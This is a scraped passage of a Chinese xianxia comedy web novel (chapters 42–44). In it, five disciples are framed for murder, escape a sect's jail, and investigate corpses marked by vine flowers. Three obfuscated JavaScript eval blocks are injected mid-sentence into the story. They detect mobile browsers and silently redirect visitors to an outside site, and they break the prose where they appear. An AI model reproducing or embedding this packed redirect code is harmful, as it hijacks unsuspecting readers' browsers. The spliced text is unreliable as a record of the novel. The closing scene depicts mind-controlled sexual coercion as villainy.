玄易心知大事不好,顾不上身上的疼痛,连忙爬起身来挡在其余四毒身前。 “施主施主莫要冲动!我们才刚从青云驿过来,当真不认识这位道友啊!”他手忙脚乱地解释,眼看陈青黛并不吃这套,他只能学林秋池的话术调转方向,“你什么证据都没有就敢胡乱冤枉我们灵剑派弟子!岂有此理!我要跟掌门告你的状!” 话音甫落,陈青黛勾唇一笑,抱臂饶有兴味地反问道:“哦?你们掌门?不是已经蒙羞退位了吗?” 白栀在宗门大比时也在场,对这五人观感不差,并不觉得他们会恨上倪黎师姐还不远万里前来杀人,便小声附在陈青黛耳旁提醒了一句。 “师姐,那人是灵剑派的天命剑主,若是冤杀了她,怕是两派又要缠斗不休了。” 张通天修道多年,想起清云峰那几个护短又不讲道理的无情道恶鬼,也不由寒毛直竖。 “灵剑派那帮人没几个好惹的,还是把他们带回去交给长老们决定吧。” 玄易终于是松了口气,不斩立决就行,等他们酒醒了自然有解决之法。 陈青黛收了剑,目光冷冽。 “带回去,下大狱,等候发落!” “什么??!!不去长老堂直接进大牢!?” 42. 缠心藤(二) 陈青黛说是把他们带下去,其实除了玄易尚且清醒能够自己双脚直立行走,其他那四个软的跟没骨头的肉泥一样。 她大概修道多年也没见过这样放飞自我的修士,一时无奈地捂着脸,吩咐手下师弟师妹们一人背了一个。 回春派喜好木性,依山傍水,却偏偏建立在无边深谷之中。参天的草木巨书自崖底直冲云霄,绿荫遮天蔽日,露出其中入派的几条悬空索道来。 这纯靠自己脚力走过去那还了得!? 玄易转了转眼珠,往后一倒撒泼打滚:“不行了,酒劲儿上来了,我走不动了。” 反正他是犯人,他打定主意不走,陈青黛除了找人背他也没有别的选择。 白栀跟在青黛身后,也是第一次见师姐露出如此轻蔑和不解的眼神。 “灵剑派弟子不是号称年少有为端方持重吗?”她冷笑一声,瞥了一眼倒地不起的和尚,“这贼秃驴又狡猾又惹人嫌,哪里有灵剑派标榜的那么正义凛然。” 玄易听出陈青黛的意思,反正他这个坐骑是收定了。 “哈哈,挂名弟子,了解一下。” 张通天在回春派也是大师兄级别的人物,比试切磋屡次输给陈青黛听她安排也没什么,但还得给和尚当坐骑,不免让他心里有些不爽。 于是背起玄易之后,少不了就要故意颠他几下,让他的背啊腿啊撞到哪块儿山壁岩石。 “你不好好背着我,我可能……呕,有点想吐。”玄易在他背上老实趴着,话音刚落打了一个酒嗝,熏的张通天面色铁青。 他绝对不容许有人当着这么多师弟师妹的面把秽物吐在他头上! 陈青黛说的真是一点没错! 贼秃驴!狡猾! 张通天咬牙背着死猪一样沉的玄易,艰难从牙缝里挤出几个字来:“呵呵呵,五毒团是吧,真特么毒。” 玄易:“……” * 回春派的大牢和他从小被关的地方也没多大差别,玄易老老实实地倚着长满青苔的石墙闭目养神。 旁人看了都以为他认命了,其实他心里想着,幸亏自己是个光头。 洗头就像洗脸一样轻松,随处可躺随处可卧。 回春派的弟子们带着倪黎的尸体浩浩荡荡地离开了,整座牢房连半盏灯都没有,乌漆麻黑伸手不见五指。 玄易听着四人均匀绵长的呼吸声,一直过了两个时辰,日光从头顶处的小窗透进来,他们才有幽幽转醒的迹象。 第一个醒的是柳伏意,她和顾元香抱在一起睡得正香,翻手摸到一堆湿泥。奇特的触感让她在睡梦中都觉得心下不安,酒意也散了大半。 顾元香眯着眼嘟囔了几句,头下枕着的肩膀撤走了,她也揉了揉睡眼坐起来。 “天还没亮呢……” 玄易无奈道:“这都是第二天了,毒怪们,这里是回春派大牢!” 柳伏意和顾元香各自伸手摇了摇旁边的沈听寒和阮长风,五人面面相觑大眼瞪小眼。 “怎会如此?”柳伏意底气不足,她好像有点印象,玄易找她呼救来着。 原来不是在做梦啊。 这画面也很熟悉,阮长风一声不吭,从空间袋里掏出来一只照明萤火虫。 “总而言之,回春派的弟子以为我们杀了倪黎。这人是谁我都没印象!” 闻言,顾元香举了举手。 “我有印象。” 四道目光齐刷刷朝她投过去,她差点咬了舌头:“我记得问心阵那块儿,回春派有个弟子叫黄渊,他在阵里净做春梦,然后阵法就被陈怀春捏爆了。后来我在寄雪堂还遇到他俩了,倪黎好像是黄渊的道侣。” 阮长风思来想去,问:“这跟我们有什么关系?除了你和玄易,我们连见都没见过倪黎,千方百计来回春派杀她不是有毛病吗?” 沈听寒轻轻“嗯”了一声,他喝酒不少现在头还疼着。 “如果倪黎是回春派里的人杀的,而我们五个刚好出现,又有灵剑派和回春派两派宿怨,是个很好的嫁祸对象吧。”他说。 玄易深信不疑,道:“我就觉得那个大师姐怪怪的,怎么都不听我解释,上来就要砍我!” 几人沉思片刻捋了捋,顾元香才扭头靠在柳伏意肩上,慢吞吞地问了一句:“师姐,按照修界公认的戒律,如果真认定我们是杀人凶手咋办啊?” “无故杀人,当处绞刑。” 阮长风停顿须臾,立刻起身:“好了别说了,抓紧跑。只要见到陈怀春,我们就有机会。” 四人跟着他起身,从角落一堆枯草上摸到了自己的包裹,也顾不上拿的是谁的,一股脑背上,排队站在阮长风身后。 顾元香探了个头,问:“所以你打算怎么出去呢?” 阮长风头也没回,举着萤火虫灯研究了一下牢房的铁索。他一手伸出去迅速捣鼓几下,铁链坠地,沉闷之声回荡在整个幽黑静谧的地牢里。 沈听寒毫不意外:“他在人间当过叫花子,什么三教九流的东西都略有涉猎,会开锁也不奇怪。” “拜托,我可是搞机关的,这破锁再来十个都困不住我……还磨叽!快跑啊!”阮长风带头冲锋,没跑几步就面临了一个新问题。 “陈怀春在哪???” 他猛然停下,后边紧跟着的师弟师妹就头尾接龙地挨个撞了鼻子。 柳伏意从来不是个会耍小聪明的人设,但她也想快点投入正题。一到回春派她就感觉地瓜蛋有些不对劲,这感觉又似曾相识…… 是孽缘,是她的主线!难怪回春派几人入魔蹊跷,约莫是孽缘影响了此处修炼的风水吧。 她轻咳一声吸引他们的注意力,说:“我出去就喊有人要刺杀陈怀春,到时候所有值守的弟子肯定就会往陈怀春所在之处赶,你们混在人群里别被发现就好了。” 听上去好像没什么难度。 这地牢甚至不如戒律堂的询问室守备森严,他们东跑西逃地竟然也没遇见别的囚犯。 柳伏意凭借主事戒律堂的直觉,总觉得其中有些不对劲。然而如今的局面也容不下她细细思考,只能维持原来的计策。 地牢最外处的锁上加注了不小的灵力,阮长风只低头扫了一眼,就三下五除二地把那道灵锁拆个粉碎。 “八百年前的货色了还用着呢,不是说你们楼家富可敌国吗?也不换点新招?”阮长风朝身后的玄易挑了挑眉,不等他多吹几句,柳伏意已经侧身从他们身边窜了出去。 几人不能像她一样轻功借力原地起飞,选择了非常古朴但是有用的方式。 回春派草木旺盛,连路边的野草都有半人高,四人接二连三往里头一猫,确保只要不出声,谁也看不见他们。 “有没有可能……我们蹲在这里,我们也看不见别人?”玄易小声道,他蹲在草窝里只能抬头看见一片天。 感觉自己像是井底之蛙。 另外三只蛙不认同他:“没关系的,伏意很靠谱,她会盯紧的。我们没什么本事,最明智的选择就是呆在这不给她添麻烦。” 话虽如此,柳伏意飞檐走壁挂在一处横梁上,扭头已经看不见同伴的身影。 她无奈一瞬,掐指诀扩声。 “来人啊!有人要刺杀掌门!!” 声音巨大又平静无波,不像是值班弟子求救,倒像是杀手的提前预警。 混乱的脚步声随之而来,柳伏意立刻翻身借力越到一处屋脊上,塌腰藏住了身形。 反观草丛四人组,玄易听力敏锐,他觉得这片草丛四周都被回春派的弟子给包圆了。 顾元香正准备说话,玄易眼疾手快捂住了她的嘴。 身后响起一道熟悉的男声:“果然跑了。” “严冬牢囚犯越狱!!全派通缉!” 等到周边一切声音都归于寂静,顾元香才小心翼翼地探头打量了一番。 “师姐她身体还没好全,这么多疯子围追堵截,不会伤到她吧?” 阮长风打了个响指,从空间袋中掏出他的小木鸟。 “要是伏意被困住了,我控制木鸟降下去一点儿,你们就立马拉她上来,然后我们再找个犄角旮旯从长计议。” 玄易点头,看见阮长风又从袋子里掏出两把机关弩给他和沈听寒:“当然,我现在没什么灵力,它只能飞不能打,如果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124973|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有什么攻击,只能你俩先下手为强了。” 顾元香有了宗门大比中的战斗经验,严格来说算是余下四人之中战力最强的。 几人蹑手蹑脚走出草丛,由阮长风掌舵,顾元香搭着他的肩随时准备让双剑出鞘。一左一右各自备着沈听寒和玄易两位工具弩护法,看起来也是十分靠谱的一座小型战机。 “我们这样是不是有点滑稽?” “没事,我有办法。” 沈听寒把弩塞给玄易,从他的包裹里翻出来四张碧色的帕子。 “蒙着脸吧,这样谁都不知道丢人的是我们。” 几人沉默半晌,终究还是同意了他的说法,老老实实地把帕子系在耳后,遮住自己的俊脸芳容。 木鸟扑腾着翅膀,居高临下,轻而易举地将回春派的地形,以及弟子大规模的行动轨迹都收归眼底。看样子陈怀春的居所位于回春派的正中央,一收到消息,四面八方的弟子都插了翅膀似的往中央那处巍峨建筑奔去。 阮长风带领着伙伴们飞到长队的最前端,就在陈怀春的栖山阁里寻了一处较为偏僻的院落降下来了。 “你飞的高还绕了路,没什么人发现我们。”顾元香反手搭着剑柄,以防有什么不测她来不及拔剑。 沈听寒透过窗子往前院正厅望了一眼,回春派的弟子们还没进屋,至于柳伏意就更是没影了。 “我们走吧,伏意不在这。” 阮长风点点头,转身骑回木鸟上。 过了半晌,他满头冒冷汗,笑容尴尬:“对不住啊各位,空间袋里的东西是好几年前做的了,过了保期了。” 沈听寒、玄易:“……??!!那你下来干什么!?” 顾元香强压着沸腾的怒火,深吸了一口气平复自己的心情,一字一顿口齿清晰地问他:“那么请问,四面八方都有回春派的弟子,我们应该怎么突破重围呢?” 阮长风尬笑几声:“我们还是等伏意来救我们吧。” 多亏顾元香抿着唇,那句“成事不足败事有余的蠢货”才没脱口而出。 其实早在他们四个人摇摇摆摆意气风发地在天上掠过时,柳伏意在屋脊上就注意到他们了。 “?” “不是应该原地蹲守等着我吗?” 她探头往下望去,密密麻麻的弟子成百上千,那四个家伙要是落在他们面前…… 逃犯越狱罪加一等,搞不好就地处死了。 她从袖中摸出一张神行符,一路蹿房越脊,终归还是比他们慢一些。 沈听寒玄易顾元香正要围殴阮长风的时候,柳伏意刚好从他们头顶处那片砖瓦上落下来。 她满头大汗,原本休息了三五天没练剑浑身的血液都是缓慢的,这一顿狂奔倒让她热血沸腾元气满满了。 “你们来这儿干什么?被发现越狱是可以就地诛杀的。” 顾元香凝着眸子,突然想到了什么:“我们不就是要找陈怀春给我们主持公道吗!你可是地瓜蛋的主人,他谁也不信也得信你啊!” 一语惊醒梦中人,阮长风好不容易逃过一顿胖揍,连忙躲到师妹身后:“对啊对啊,我们去跟陈怀春讲清楚前因后果,他肯定会帮我们说话的。到时候在回春派行动也方便一些。” 柳伏意点点头,说话间沈听寒便大致看过了,前厅空无一人,陈怀春只可能在后院的某处禅房之中。 “理解,老年人嘛,要睡个午觉也正常。”阮长风逃过一劫,终于挺直了腰杆子。 他两眼都盯着后面的师弟师妹,手上开门的动作要多快有多快,都不用他扭头看。 在他开到第四间屋子的时候,几人的脸色“唰”地一下全白了。 啥情况? 他扭头一看,陈怀春骨瘦如柴,胸口处一个血淋淋的窟窿。陈怀春双眼瞪的极大,瞳孔发灰,死不瞑目。 死了!? 真死了!? 那刚才的调虎离山之计就秒变死亡宣告了! 五人还没反应过来,身后脚步声犹如铁蹄连番响起,他们又被陈青黛等人团团围住。 “这下好像真的是被当场逮住。”顾元香木讷道。 43. 缠心藤(三) 玄易左看看右看看,现在是什么情况呢? 五个人逃狱,一个灵剑派天命剑主,称得上是和陈怀春有旧怨,另外四个人好死不死还蒙着面。 五人面前,陈怀春死相凄惨。 陈青黛和楼黄两家的少家主碰了面,由于陈家是公认的战力突出,仍然由她站在三人之首,其余的弟子们都只能在外围待命。 陈青黛先进入房间检查了一下陈怀春的死因。彼时,楼家少家主楼文和黄家少家主黄毅已经自作主张地,要求他们麾下的弟子先行一步,控制住灵剑派这五个人。 有柳伏意挡在前头,楼黄两家的弟子也没人真的敢越过天命剑主去拿人,一时之间也处于两难境地。 “虽然我说这话你们可能不信,但倪黎和陈怀春真的不是我们杀的。” 玄易嘴皮子都要磨破了,他和楼文对上一眼,楼文的表情便有了一些细微的变化。 不过自然不是什么好神色,楼晏回来了,只会让他少家主的地位岌岌可危。 楼文暗生私心,想着那便咬死陈怀春是他这位堂哥杀的,到时候楼晏必定落得个斩立决的下场,他的一切也都水到渠成地稳固了。 “你的意思是你们走到哪死到哪但你们不是凶手只是运气差,对吗?”楼文笑眯眯的,笑脸背后暗藏的杀意让几人不寒而栗。 玄易把他的话在脑子里过了一遍,自己都底气不足,这套说辞确实没什么说服力。 “我们没有理由杀倪黎和陈怀春啊?我们都不认识倪黎,是这个道友不分青红皂白就把我们抓回来的。”顾元香指着陈青黛的背影道。 黄毅斜了她一眼,不善的目光在顾元香脸上量来量去:“那你们几人逃狱又怎么解释?” 阮长风见这个黄毅贼眉鼠眼的,从出场到现在就是转着他大拇指上那枚青玉扳指,然后把他两个师妹从上看到下,从脸看到胸再看到脚。 他一把将柳伏意和顾元香扯到身后挡住,叉腰反问道:“你莫名其妙被一帮疯子诬陷杀人,还带到这种深山老林里锁起来,你不跑啊?!” 黄毅和阮长风之间的骂战一触即发,沈听寒摘下脸上的丝帕,照样笑得无懈可击。 “我们要真是来刺杀陈怀春,怎么会不做好准备易个容换身衣服再来?你们难道有人不认识灵剑派的服制?” 阮长风就更臭屁了,他笑呵呵地指着柳伏意的脸:“就是啊,你们有人不认识她?” 那倒也是。 黄毅转身和楼文交头接耳,他小声说:“他们说的有道理啊。” 楼文哪能放过这么好的机会:“柳伏意几日前才差点被五马分尸,身体一定还没好全……何不顺水推舟坑灵剑派一大笔?” 黄毅闻言抬头看了楼文一眼,这位少家主普普通通圆圆扁扁的脸上写满了精打细算,就差把奸商两个字刻在脑门上了。 怪不得楼家这么有钱。 俩人正要拍板,陈青黛的声音从屋内传出来:“我相信不是他们动的手。” “为什么?” 沈听寒走近尸体,只是扫了一眼,便给了与陈青黛相同的判断:“这道伤口虽然是捅进心窝的致命伤,但细看刺的并不干脆,而且上下割口不一致,也不是贯穿伤……” 黄毅也是个酒囊饭袋,他捏着下巴若有所思,就像是在听人说书讲故事。情到浓时就差扔几块碎银子打赏。 “所以呢?” 沈听寒暗暗叹了口气,这回春派世家子弟都是帮什么人呢。 “说明凶手是用匕首杀人,而不是剑。” 黄毅顿了顿:“那又怎样?” 陈青黛听了都想给灵剑派的五人先赔个罪,门内有智障,请多海涵,也请勿外传。 “柳伏意和顾元香是剑修,这三个男的手无缚鸡之力,五人一起行动的话,要杀人也应该是柳伏意先动手。剑修不会舍近求远拿匕首杀人的。” 看来陈青黛已经调查过他们五个人了。 阮长风对于陈青黛的言论十分不满:“你什么意思啊?我怎么叫手无缚鸡之力?我出来混的时候你才多大!” 柳伏意伸手将师兄扯回来,顾元香紧接着就把他脸上的丝帕扯下来团成团塞进他嘴里。 “闭嘴吧,别让我们门派丢脸。” 现下分明是三大世家的博弈,楼黄两家硬是要定五人的罪,陈青黛一家之力略显单薄,胳膊拧不过大腿。 五人只能被重新关回一个更加隐蔽更加戒备森严的牢里。 “……你为什么不拿地瓜蛋反抗呢?”阮长风问柳伏意。 他可是被陈家手底下几个刚入道的小辈踹着屁股踹进来的。 柳伏意闭目养神丝毫不慌:“师父和我说过,你在机关一道颇有建树,这几道锁应该也拦不住你吧。” “不战而屈人之兵,有什么不好。” 嘿!还跟他谈起来兵法了?! “如果陈怀春和陈家六大长老不死,那么陈家就足以和其余两家匹敌了。”沈听寒道,他转了转眼珠,一掌拍在阮长风肩上,“关窍就在这里,你不是口才很好么?” 他们的话题跳转的太快,顾元香有些反应不过来。她照例往柳伏意身边一歪,挽着她的手,安全感十足。 “什么意思?” 玄易扫她一眼,将回春派内部的形势分析出来。 “自古有权有势者才能与人争锋,而在回春派,黄家代表权,陈家代表势,楼家以数不尽的钱财维|稳,三家之间形成微妙的制衡关系。而如今陈家受重创,抓我们来的那位姑娘应当是陈家这一辈的少家主,陈青黛。” 顾元香长长地“噢”了一声,“也就是说,陈家现在地位下降了,才让我们被关进来了。那又怎么样?” 阮长风无奈地翻了个白眼,看着三个人精气定神闲的表情差点背过气去。 “他们的意思就是让我再撬锁再越狱,然后找陈青黛谈条件呗。陈家式微,陈怀春的死只会是楼黄两家变本加厉的起点。如果她放任两家同流合污不管,陈家迟早会再无立锥之地。” 阮长风站到锁前,双手揣在袖子里倒腾着什么:“她又没有确凿证据证明我们杀了人,帮她查出真凶,杀杀楼黄两家的锐气有什么不好。” “而且陈家人没有理由会杀陈怀春,陈青黛不傻,她知道幕后黑手多半出自楼黄。我们只是运气太差,正好撞在刀口上了。”玄易说。 阮长风忙活着开锁,这回如他所愿,换了个时兴又难搞的八仙锁。 柳伏意思来想去,其实她来回春派,根本的原因还在于孽缘需断。 而如今冒了头的孽缘,似乎也就只有黄渊和倪黎这一对。 死并不意味着孽缘的结束,毕竟人鬼情未了也屡见不鲜。倪黎的死,于她而言,甚至比陈怀春更加重要。 “这样吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135707|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我们先去找陈青黛。然后去停尸房,我需要查清倪黎的死。” * 栖山阁中,陈青黛一刀刀地在木牌上刻出陈怀春的名字。 青烟袅袅,断香落在香炉之中,星星的火光摔在陈青黛指尖。 “叔父,这香都断了三回了。”她长叹一口气,“我一定不会让陈家一蹶不振的。” 她重新用火符燃起安息香,还未及插入香炉,就敏锐地捕捉到身后的动静。 陈青黛的耳朵动了动,一手已经悄然搭在青黛剑上。 她猛然拔剑转身,脸色瞬间就垮了下来。 “怎么又是你们五个?阴魂不散!” 陈青黛拔剑插回剑鞘里,她一手将安息香安置好,转而在灵位之前坐下,照例从头到脚审视了一遍五毒团。 “楼家长子,怎么也跟灵剑派的人混在一起?前不久堂兄弟相见,好像格外剑拔弩张?” 玄易没什么反应,阮长风代替他迎了上去,对陈青黛摆出一张足以混饭吃的笑脸来。 “哎呀~他在楼家都受的非人的折磨,早就不一条心了……当然这不是重点,重点在于我们可以帮你,重振你陈家的雄风!” 他话说的满,陈青黛脸上划过一丝狐疑。 谈判的技巧除了相同的利益,还有一点便是不能让对方有机会分析利弊。 阮长风一手将柳伏意拉过来:“你当然也会疑惑了,陈怀春和几位长老在宗门大比对我们家小师妹屡下毒手,我们为什么要帮你?但其实我师妹清醒过来就意识到了,陈三长老是为了回春派的声誉,为了保住她的命,才对自己的亲兄弟……” 车轮子轱辘话陈青黛没少听,她也明白这五个人找过来是做什么。 陈青黛伸手拦了阮长风的话茬,起身站到柳伏意对面:“我叔父们都相信你,我自然也愿意给你这个机会。但你要告诉我,你们出现在春花驿,是想做什么。” 柳伏意张了张口,不打算瞒着她:“我是为了陈家七人无故入魔而来的。我先要去停尸房看倪黎的尸体,我怀疑她和陈家人入魔有关联。” 陈青黛盯着她的双眼,那里头一片坚毅,明亮又透彻,始终没有半分退缩。 柳伏意说的是真话。 “可以,栖山阁除了我也不会有人来了,你们可以呆在后院。”陈青黛随手递给柳伏意一杯茶,“你还需要什么?” 柳伏意接过来一饮而尽,“五套你们回春派的制服,还有弟子的名册,方便我们易容查案。” 陈青黛点了点头,转身进了侧室,很快将五套服制和弟子的画像名册都递给柳伏意。 “这是停尸房的钥匙,你们易容好就照着名册扉页的舆图走。倪黎和我叔父的尸体都在义庄停着。” 陈青黛嘱咐完就走了,偌大的栖山阁就只剩下他们五个人,和满墙的灵位。 顾元香赶上前来,声音中透出些许焦急:“师姐,你怎么说喝就喝了?万一她给你下毒怎么办啊?” 沈听寒从柳伏意手中卷过杯盏来闻了闻,道:“没毒,就是杯茶。” “这杯茶相当于是凭证,我喝下去,说明我也信任她。” 阮长风发好服制,玄易也给他们每个人挑了性格差不多合适的易容人选。 “事不宜迟,五毒团,出发!” “……” “这个团名能不要挂在嘴上说吗。” 44. 缠心藤(四) 柳伏意易容成为陈家手下的三师姐叶锦,这位道友平时鲜少露面几乎都在闭关,绝不会有两人碰头分辨真假的尴尬桥段。 顾元香则是顺其自然地易容成叶锦身边的小师妹华烟。 五毒团大摇大摆地走在去往义庄的道路上,沈听寒对于分配到的“角色”显然是不太满意的。 他也搞不懂姓黄的是不是受到了什么血脉诅咒,黄渊、黄毅,都一副贼眉鼠眼猥琐至极的猪头样。他易容成黄渊,怎么模仿都学不来那抹恰到好处的油腻。 阮长风实在看不下去了,黄渊那张方正的国字脸上浓眉大眼粗犷有余,偏偏沈听寒的表情是十足的温润公子。 这两种风格拼起来……实在是不太相衬。 “虽然你抓阄抓到最烂的,但大师兄包容你。”阮长风与沈听寒对上一眼,心有灵犀,俩人脸上的假面就迅速调换了一下。 玄易在一旁看着笑得肚子疼。他算是本色出演,楼家的边缘人物,说起来算是他的小堂弟,楼衡。 楼衡不爱说话人也内向,门派中也没什么朋友。没人了解他,反而是最好冒充的。 义庄乃停灵之地,阴气太重,青天白日也苦寒缠身。因而义庄之路也是特地和门中其他道路隔开来的,五人说说笑笑地行了半个时辰也没遇见过别人。 义庄之境一旦踏足便感觉脊骨一凉,顾元香没忍住往柳伏意身后缩了缩。 她抬头往上看,不知何时头顶漫天飞舞着白色的纸钱。回过神来时,一低头,便撞见身前不足半尺之地,停着一口大开的古棺。 白日见棺,大凶呀!! 柳伏意四处看了看,回春派的一切都与木相关,义庄更是无人管辖,乱生的草木将停尸房外的棺材尽数遮掩,要不就是不知从何处而来的长藤,吊起数百个人形木蛹。 “这是树葬,与木有缘的修士认为神木通天,将死去的人葬在树上能够让此人往生极乐。”沈听寒介绍说。 他跟柳伏意并驾齐驱,越过面前咫尺距离的巨型木蛹,俩人率先推门进入停尸房。 另外三位深吸一口气聊作放松,哪知鼻腔之间尽是枯木腐朽的气味在弥漫,悬在头上摇摇欲坠的人尸叫他们一步都跨不出去。 玄易也不为难自己,立刻双手合十开始念诵梵文。 “你干什么?”阮长风问。 “我超度他们一下。” 顾元香扯着俩人的袖子,猫腰蹲在二人身后,抬头却看见柳伏意向她招了招手。 “元香?”她轻声唤道。 顾元香腿僵了僵,吞了口唾沫,随即抻着脖子高声应了一句:“我……我来了!!” 反正直线距离好像也就十几步,顾元香双眼紧闭莽头直冲,嘴里不住地道歉。 她站在柳伏意面前时仍然是惊魂未定。 “师姐,你叫我做什么?” 沈听寒简要用灵力检查了一下倪黎的身体,他说:“倪黎不是因为外伤死的。她的心脏,不见了。” 他从袖中抽出玉骨扇,修长的折扇抵在倪黎衣襟处,轻轻一挑,露出心口处的异状。 没有外伤,反而是艳红美丽的藤花,从心口处生根发芽蜿蜒而上。 “这是刺青吗?”沈听寒看的不太真切。 顾元香没什么顾忌,俯身在倪黎身前仔细检查。片刻后,她嘴唇颤了颤:“不是刺青,是真的藤花。而且藤根就是从皮肉里长出来的,不是后天种植进去的。” 又是藤花。 柳伏意蹙眉,默念咒文,她的右眼泛出缕缕金色浅光。 “心脏的确不见了,取而代之的是一颗拳头那么大的血藤木。”她转身看向元香,问,“陈家入魔的人几乎都和藤花有关,你有什么想法吗?” 藤花取心,还和入魔息息相关? 顾元香面露难色,柳伏意也就不再多说。 “哎,其实植物化妖杀人的方法就这么几种,只有倪黎一个人,也不好说人心是不是重点。毕竟陈家七人心脏是没有问题的……” 沈听寒见她眉眼耷拉着,场面一时略有沉重,便出言宽慰道:“无妨,至少……你可以从藤本植物开始查起,也不算毫无收获。” 顾元香无奈地看了他一眼,双手举起层层递进仿佛要扣问苍天。 “拜托!!回春派到处都是藤!!” 柳伏意沉思片刻,道:“你们先回栖山阁吧,我出去打探一下倪黎的生平,很快就回来。” 她抬步在前,不一会儿就越过玄易和阮长风,教人只能看见她飘逸的裙摆。 “晚饭老样式,可以吗?”沈听寒朝她的背影高声问了一句。 “可以!!” 顾元香跟着沈听寒小心翼翼地避开前后左右的尸人,为了散开注意力不那么害怕,她便小声问道:“什么叫老样式啊?” 沈听寒迁就她放慢步调缩小步幅,手上折扇微风隐隐:“柳伏意啊无辣不欢,基本上开小灶就是三菜一汤,两素一荤。” 顾元香默默表示磕到了,终于熬过头顶上风一吹就像活了一样的“吊死鬼”,和玄易阮长风汇合。 “我们现在干嘛去?” 顾元香弯的腰都酸了,伸了个懒腰心情不错:“回家,做饭!” * 叶锦平时不多出门,但估摸着也是这张脸太过惹眼,柳伏意才出义庄没多久就被人盯上了。 那人跟了她一路,看样子却没什么恶意,浑身上下连一把武器都没有配。柳伏意暗道不好,他似乎是什么与叶锦相熟的人? 万一穿帮了,要不要干脆一榔头把他打失忆……? “叶师姐!等等我!”那人在背后追的气喘吁吁,他已经呼名唤姓,柳伏意现在逃跑反而是不打自招了。 还是随机应变吧。 柳伏意站在原地顿了顿,那追上来的胖子就呼哧呼哧地绕到她身前,话还来不及说,先弯腰喘了半晌粗气。 “叶师姐还记得我吗?我田大洪啊。” 柳伏意眼眉挑了挑,本意是不知如何作答,放到田大洪眼里也正常,叶师姐时常闭关不与人交好,一两面之缘,记不得也很正常。 田大洪思及此处重新换上一副笑相,但他笑得满脸横肉堆积,看着颇有点不怀好意的兴味。 “叶师姐贵人多忘事,我从前向师姐明里暗里表白过许多次,只是你似乎都不记得了。” 坏了,这是来追桃花债的啊! 柳伏意暗中叫苦不迭,不过她估摸着问题不算太大,既然都拒绝了好几次了,叶锦本人应该是不喜欢这个田大洪的。 那她照样拒绝就好了。 然而田大洪一只肉手就拦住了她即将出口的“抱歉”,抢先把她能说的拒绝的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140880|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话都讲完了。 “叶师姐,我知道你天人之姿,修炼又勤快,家世也显赫,我与你是云泥之别。被你拒绝这么多次我也看开了,但今日我想最后一次送你一件礼物。只要你接受它,我就再也不会纠缠你了。”田大洪怕柳伏意不收,故意将自己说的多么多么可怜,从小到大都不得人青眼,如今也就只有她收下礼物这一个小小的心愿。 “恳请师姐成全我吧!”他双目闪着精明的光芒,从背后摸出一支现采的白色藤花来。 柳伏意见了脸色又暗几分。 怎么又是藤花啊! 见她面色有异,田大洪也不急不恼,他轻笑一声举起那支尚且带着露珠的藤花,仔细介绍道:“师姐闭关久了,怕是不了解。这株白藤是掌门从前亲手种的,据说每一朵藤花都凝结着掌门的灵力,能够保佑拥有者修道顺遂的……毕竟白藤本身就寓意不错嘛~” 其实这话漏洞百出,陈怀春的灵力要真能庇护小辈们修道顺遂,陈家六大长老就不会入魔自相残杀了。 不过这应当算是每个门派都有的前辈崇拜吧? 柳伏意还没有动作,田大洪索性上手扯着她的手腕将掌心摊开来,然后把他手上那朵洁白无瑕的藤花放在其中。 藤花接触到柳伏意手心的那一瞬间,田大洪欣喜若狂,狂笑之声不绝于耳,他蜡黄的面色都因为癫狂而染上红色。 “从今天开始你是属于我的了!叶锦!你也有今天!”田大洪志在必得似的大跨步朝她冲过来,一点儿都没有方才谨小慎微生怕惹柳伏意生气的劲儿。 柳伏意真心忍不住要说一句“你有病吧?”,然而她的思绪和□□都好像一瞬间不受她控制。 叫骂之语话到嘴边就成了一句截然不同的表态:“是呢,从今以后我就是属于你的,你想对我做什么都可以~” 柳伏意内心狂吠,简直被五雷轰顶一般劈的焦头烂额。 怎么回事啊!? 田大洪抓着她的手腕愈发用力,恨不得在这处小路上就跟她来个你侬我侬。 至于如何颠鸾倒凤翻云覆雨,田大洪也不急于一时,反而挺了挺膀大腰圆的身子,从来没有哪一刻像这样的扬眉吐气。 他露骨的目光在柳伏意浑身扫过,然后轻蔑一笑,嘲讽道:“修炼有道又怎么样?长得漂亮家世显赫又怎么样?还不是得对我言听计从?没想到藤花的传说竟然是真的!” 柳伏意还在跟莫名其妙就想输出的谄媚语录作斗争,田大洪也不管她木讷,自顾自地沉浸在自己的世界里:“让你平时清高的很,连跟我说句话都嫌脏,看到陈家那个陈观澜倒是能够好好说话眼睛也不歪!你不就是觉得陈观澜背靠陈家?!” “你也不要怪我拆散你俩,是你先瞧不起我的!不过你也不是跟他就再也没缘分了……等我玩你玩腻了,就让你去勾引陈观澜,好不好?” 